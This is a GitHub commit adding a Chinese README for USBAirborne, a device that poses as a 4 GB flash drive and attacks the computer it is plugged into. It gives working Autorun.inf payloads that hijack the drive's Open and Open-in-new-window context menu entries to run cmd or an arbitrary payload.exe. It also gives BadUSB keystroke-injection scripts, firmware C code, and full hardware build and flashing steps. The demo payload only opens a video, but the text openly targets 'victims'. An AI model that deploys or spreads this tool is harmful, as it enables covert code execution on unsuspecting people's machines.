Skip to content

Commit ce9d0b8

Browse files
committed
docs
1 parent e666d90 commit ce9d0b8

File tree

1 file changed

+277
-0
lines changed

1 file changed

+277
-0
lines changed

readme_cn.md

Lines changed: 277 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,277 @@
1+
# USBAirborne
2+
3+
更高级的BadUSB
4+
5+
------
6+
7+
[**中文**](https://github.com/Push3AX/USBAirborne/blob/main/readme_cn.md) | [English](https://github.com/Push3AX/USBAirborne/blob/main/readme.md)
8+
9+
USBAirborne伪装成U盘,但当受害者将它插入电脑,它会执行指定的命令或程序。
10+
11+
- 支持BadUSB攻击、AutoRun攻击
12+
- 内置4MB存储空间,可伪装为4G的U盘
13+
- 低成本(约10元 / 个)
14+
- 标准G2板型,可装入常见U盘外壳
15+
16+
<img src="https://raw.githubusercontent.com/Push3AX/USBAirborne/main/images/1.png" style="zoom: 50%;" />
17+
18+
19+
20+
## Demo
21+
22+
USBAirborne自带一个演示Demo:
23+
24+
插入电脑后, USBAirborne显示为一个4G的U盘。
25+
26+
但在打开U盘时(包括双击打开、右键-打开、右键-在新窗口中打开),USBAirborne会自动打开浏览器播放Never Gonna Give You Up。
27+
28+
<img src="https://raw.githubusercontent.com/Push3AX/USBAirborne/main/images/autorun.gif"/>
29+
30+
USBAirborne攻击行为的配置文件位于根目录下的Autorun.inf。 此处所使用的Autorun.inf如下:
31+
32+
```ini
33+
[AutoRun]
34+
autoplay=true
35+
36+
;将驱动器图标伪装为U盘图标
37+
icon=c:\windows\system32\shell32.dll,79
38+
39+
;驱动器名称
40+
label=Nothing inside
41+
42+
;攻击Payload,此处为调用cmd打开网页
43+
open=cmd.exe /c "start https://www.bilibili.com/video/BV1uT4y1P7CX"
44+
run=cmd.exe /c "start https://www.bilibili.com/video/BV1uT4y1P7CX"
45+
46+
;劫持右键菜单
47+
shell\open=打开(&O)
48+
shell\open\Command=cmd.exe /c "start https://www.bilibili.com/video/BV1uT4y1P7CX"
49+
shell\opennewwindow=在新窗口中打开(&E)
50+
shell\opennewwindow\Command=cmd.exe /c "start https://www.bilibili.com/video/BV1uT4y1P7CX"
51+
```
52+
53+
54+
55+
## 执行指定的程序
56+
57+
如果播放视频不够有趣,也可配置USBAirborne执行其他操作,例如运行指定程序。
58+
59+
首先,将USBAirborne的第一个开关打开,关闭攻击模式。
60+
61+
**只有在攻击模式关闭时,USBAirborne的根目录才可以写入文件。同时,攻击模式关闭时USBAirborne不会执行攻击内容。**
62+
63+
<img src="https://raw.githubusercontent.com/Push3AX/USBAirborne/main/images/Switch_cn.png"/>
64+
65+
修改USBAirborne根目录下的Autorun.inf可实现其它攻击行为。例如运行USBAirborne根目录下的payload.exe:
66+
67+
```ini
68+
[AutoRun]
69+
autoplay=true
70+
71+
;将驱动器图标伪装为U盘图标
72+
icon=c:\windows\system32\shell32.dll,79
73+
74+
;驱动器名称
75+
label=Nothing inside
76+
77+
;攻击Payload,此处为运行根目录下的payload.exe
78+
open=payload.exe
79+
run=payload.exe
80+
81+
;劫持右键菜单
82+
shell\open=打开(&O)
83+
shell\open\Command=payload.exe
84+
shell\opennewwindow=在新窗口中打开(&E)
85+
shell\opennewwindow\Command=payload.exe
86+
```
87+
88+
<img src="https://raw.githubusercontent.com/Push3AX/USBAirborne/main/images/payload.gif"/>
89+
90+
91+
92+
## BadUSB攻击
93+
94+
AutoRun攻击需要受害者打开U盘,如果需要更自动化,可以使用BadUSB。简而言之,BadUSB攻击通过模拟键盘的输入来执行操作。
95+
96+
(但BadUSB容易受到不同情况的影响,例如在锁屏或者启用中文输入法的状态,BadUSB攻击会失败)
97+
98+
在Autorun.inf中添加两个[badusb],在其中编写键盘操作。
99+
100+
以下是一个简单的例子,通过模拟键盘按下Win+R键打开“运行”窗口,输入notepad打开记事本,并输入一些测试数据。
101+
102+
最后再次打开“运行”窗口,播放Never Gonna Give You Up。
103+
104+
```ini
105+
[BadUSB]
106+
[Win+R]
107+
[Delay][Delay]
108+
notepad[Enter]
109+
[Delay]
110+
Hi![Enter]
111+
This is a test of USBAirborne[Enter]
112+
[Win+R]
113+
[Delay]
114+
[Delay]
115+
https://www.bilibili.com/video/BV1uT4y1P7CX/
116+
[Enter]
117+
[BadUSB]
118+
119+
;后续是AutoRun攻击的配置文件。USBAirborne支持同时进行两种攻击。
120+
[AutoRun]
121+
autoplay=true
122+
123+
;将驱动器图标伪装为U盘图标
124+
icon=c:\windows\system32\shell32.dll,79
125+
126+
;驱动器名称
127+
label=Nothing inside
128+
129+
;攻击Payload,此处为调用cmd打开网页
130+
open=cmd.exe /c "start https://www.bilibili.com/video/BV1uT4y1P7CX"
131+
run=cmd.exe /c "start https://www.bilibili.com/video/BV1uT4y1P7CX"
132+
133+
;劫持右键菜单
134+
shell\open=打开(&O)
135+
shell\open\Command=cmd.exe /c "start https://www.bilibili.com/video/BV1uT4y1P7CX"
136+
shell\opennewwindow=在新窗口中打开(&E)
137+
shell\opennewwindow\Command=cmd.exe /c "start https://www.bilibili.com/video/BV1uT4y1P7CX"
138+
```
139+
140+
<img src="https://raw.githubusercontent.com/Push3AX/USBAirborne/main/images/badusb.gif"/>
141+
142+
143+
144+
## 操作系统支持
145+
146+
- AutoRun攻击仅支持Windows系统,且要未完全禁止AutoRun。(Windows7及以上系统默认禁止常见设备开启AutoRun,但允许DRIVE_FIXED CD-ROM设备开启。相关的注册表项目请参考[维基百科](https://en.wikipedia.org/wiki/AutoRun#Registry_settings)
147+
148+
- BadUSB攻击理论上支持所有操作系统。但不同的操作系统接收的键盘输入并不一样。例如通过Win+R打开“运行”窗口仅在Windows下可用。
149+
150+
151+
152+
## 高级利用
153+
154+
### BadUSB高级命令
155+
156+
BadUSB的配置文件支持一些组合键和高级命令:
157+
158+
1. [Enter]:按下回车键
159+
2. [Shift]:按下Shift键
160+
3. [Capslock]:切换大小写
161+
4. [Win]:按下Win键
162+
5. [Win+R]:打开“运行”窗口
163+
6. [Alt+F4]:关闭当前窗口
164+
7. [Win+D]:显示桌面
165+
8. [Win+L]:锁定计算机
166+
9. [Win+E]:打开Windows资源管理器
167+
10. [Ctrl+Alt+Del]:打开安全选项
168+
11. [Delay]:等待500毫秒
169+
12. [Format]:格式化储存
170+
171+
### 编译固件
172+
173+
USBAirborne.uvproj目录下是USBAirborne的固件源代码。
174+
175+
编译需要Keil环境。在Keil安装完成后,打开[WCHISPTool](https://www.wch.cn/download/WCHISPTool_Setup_exe.html),点击 功能-添加WCH MCU到KEIL器件库。
176+
177+
<img src="https://raw.githubusercontent.com/Push3AX/USBAirborne/main/images/keil_cn.png"/>
178+
179+
此时使用Keil打开USBAirborne.uvproj目录下的Project.uvproj,应当可以编译USBAirborne的固件。
180+
181+
### 更快执行BadUSB
182+
183+
USBAirborne在执行BadUSB时需要从Flash中读取Payload,这一过程用时约4秒。如果希望更快地执行BadUSB,可以通过将Payload内置在固件中。
184+
185+
main.c中的BadUSBDemo()是一个Payload示例。修改ExecBadUSB为1,该Payload会被执行。
186+
187+
```c
188+
UINT8 ExecBadUSB = 1;
189+
190+
void BadUSBDemo()
191+
{
192+
UINT8 Payload[]="https://www.bilibili.com/video/BV1uT4y1P7CX\n";
193+
mDelaymS(1000);
194+
SendKey(KB_LeftShift, KB_NULL); //切换输入法
195+
mDelaymS(500);
196+
SendKey(KB_LeftGUI, KB_R);
197+
mDelaymS(500);
198+
SendString(Payload,sizeof(Payload)/sizeof(Payload[0]));
199+
mDelaymS(500);
200+
}
201+
202+
void main(void)
203+
{
204+
...
205+
while(1)
206+
{
207+
if(ExecBadUSB == 1 && AttackEnabled == 1)
208+
{
209+
ExecBadUSB=0;
210+
BadUSBDemo();
211+
}
212+
mDelaymS(100);
213+
}
214+
...
215+
}
216+
```
217+
218+
### 在其它时刻执行BadUSB
219+
220+
BadUSB一般会在USBAirborne插入计算机后立刻执行,如果你希望在其它时刻执行,可以通过在USB的不同UFI命令中将ExecBadUSB置1实现。
221+
222+
例如,在USB.c的UFI_staStoUnit()中将ExecBadUSB置1,可以实现在USBAirborne被弹出时执行BadUSB Payload:
223+
224+
```c
225+
void UFI_staStoUnit(void)
226+
{
227+
CH375BULKDOWN = 0;
228+
CH375BULKUP = 0;
229+
BcswStatus = 0;
230+
mSenseKey = 0;
231+
mASC = 0;
232+
ExecBadUSB=1; //添加此行
233+
}
234+
```
235+
236+
237+
238+
239+
## 制造指南
240+
241+
### 硬件设计
242+
243+
USBAirborne的硬件设计开源在OSHWHub,请移步至:
244+
245+
https://oshwhub.com/PushEAX/3079905e2c434c54902d77ab60f6c747
246+
247+
### BOM与成本
248+
249+
| 元器件号 | 名称 | 封装类型 | 数量 | 总价(元) |
250+
| -------- | -------------- | ------------------- | ---- | ---------- |
251+
| C1,C4 | 10uF 电容 | C0603 | 2 | 0.1 |
252+
| C2,C3 | 100nF 电容 | C0603 | 2 | 0.1 |
253+
| R1,R2 | 22k 电阻 | R0603 | 2 | 0.1 |
254+
| SW1 | 2Pin开关 | | 1 | 2 |
255+
| U1 | CH552G | SOP-16_L10.0-W3.9 | 1 | 3.8 |
256+
| U2 | P25Q32H-SSH-IT | SOIC-8_L4.9-W3.9 | 1 | 2.2 |
257+
| USB1 | USB2.0-A-公头 | USB-A-TH_USB-A-F-90 | 1 | 0.4 |
258+
259+
*备注:CH552G可以替换为CH551G、CH554G。P25Q32H可以被替换为其它W25Q兼容 SPI Flash,容量建议在4MB-16MB。*
260+
261+
### 制造步骤
262+
263+
如果你希望自己制作USBAirborne,以下是简要步骤:
264+
265+
1. 下载USBAirborne的[Gerber](https://raw.githubusercontent.com/Push3AX/USBAirborne/main/Hardware/Gerber_PCB1_2022-06-19.zip)文件,将其发送给PCB制造商生产。
266+
267+
2. 参照BOM章节,焊接各个元器件。
268+
269+
3. 将USBAirborne的第二个开关打开,进入烧录模式。
270+
271+
<img src="https://raw.githubusercontent.com/Push3AX/USBAirborne/main/images/Switch_cn.png"/>
272+
273+
4.[此处](https://raw.githubusercontent.com/Push3AX/USBAirborne/main/USBAirborne.uvproj/USBAirborne_2.1.hex)下载USBAirborne的固件。使用[WCHISPTool](https://www.wch.cn/download/WCHISPTool_Setup_exe.html)烧录固件。
274+
275+
<img src="https://raw.githubusercontent.com/Push3AX/USBAirborne/main/images/WCHISPTool_cn.png"/>
276+
277+
5. 关闭烧录模式,打开读写模式,将Autorun.inf拷贝到USBAirborne根目录。

0 commit comments

Comments
 (0)